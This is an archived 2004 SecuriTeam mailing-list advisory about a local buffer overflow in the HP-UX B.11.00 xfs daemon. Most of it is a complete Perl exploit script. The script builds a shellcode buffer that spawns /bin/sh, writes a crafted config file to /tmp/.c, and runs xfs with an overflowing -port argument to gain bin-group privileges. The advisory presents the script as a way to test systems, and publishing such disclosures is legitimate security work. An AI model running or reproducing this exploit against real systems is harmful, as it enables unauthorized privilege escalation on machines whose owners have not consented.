[EXPL] HP-UX Xfs Daemon Port Buffer Overflow
From: SecuriTeam (support_at_securiteam.com)
Date: 07/13/04
- Previous message: SecuriTeam: "[EXPL] IBM AIX Inventory Scout Log File Vulnerability (invscoutd)"
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]
To: list@securiteam.com Date: 13 Jul 2004 17:54:58 +0200
The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion
The SecuriTeam alerts list - Free, Accurate, Independent.
Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html
- - - - - - - - -
HP-UX Xfs Daemon Port Buffer Overflow
------------------------------------------------------------------------
SUMMARY
HP-UX's xfs daemon has been found to contain a vulnerability that allows a
local attacker to cause a buffer overflow. A specially crafted buffer
supplied as the overflowing buffer allows the execution of arbitrary code
and the gaining of elevated privileges.
The following exploit code can be used to test your system for the
mentioned vulnerability.
DETAILS
Vulnerable Systems:
* HP-UX B.11.00
Exploit:
#!/usr/contrib/bin/perl
# Name : x_hpux_xfs.pl
# Exploit xfs command of HPUX to get bin gid shell.
# * Usage : perl ./x_hpux_xfs.pl
# Discovered by watercloud 2003-03-10
# http://www.xfocus.org (EN)
# http://www.xfocus.net (CN)
# Tested: HPUX B11.0
$BUFF="A";
$BUFF.="\x0b\x39\x02\x99"x58;
$BUFF.="\x41\x41\x41\x41\x7f\x7f\x01\x16\x7f\x7f\x01\x1c\x0b\x39\x02\x99";
$BUFF.="\x0b\x39\x02\x57\x2a\xe4\x97\x10\x28\x3b\x70\xef\x08\x37\x02\x43";
$BUFF.="\xb6\xfa\x40\x04\xb6\xf9\x40\x04\xb6\xf8\x40\x04\xe4\x60\xe0\x08";
$BUFF.="\xb6\xf6\x40\xfe\x0b\x39\x02\x99\x2b\x24\x97\x10\x28\x3b\x70\xef";
$BUFF.="\xeb\x5f\x1f\xfd\x0b\x39\x02\x99\xb7\x5a\x40\x22\x0f\x40\x12\x0e";
$BUFF.="\x08\x39\x02\x43\xe4\x60\xe0\x08\xb4\x16\x70\x16/bin/shA";
open(OUTFILE, ">/tmp/.c");
print OUTFILE "error-file=";
print OUTFILE "\x7f\x7f\x01\x10"x500;
close(OUTFILE);
exec("/usr/bin/X11/xfs -config /tmp/.c -port \'$BUFF\'");
#EOF
ADDITIONAL INFORMATION
The information has been provided by <mailto:watercloud@nsfocus.com>
watercloud.
The original article can be found at:
<http://xfocus.net/releases/200406/t725.html>
http://xfocus.net/releases/200406/t725.html
========================================
This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com
====================
====================
DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.
- Previous message: SecuriTeam: "[EXPL] IBM AIX Inventory Scout Log File Vulnerability (invscoutd)"
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]
Relevant Pages
|
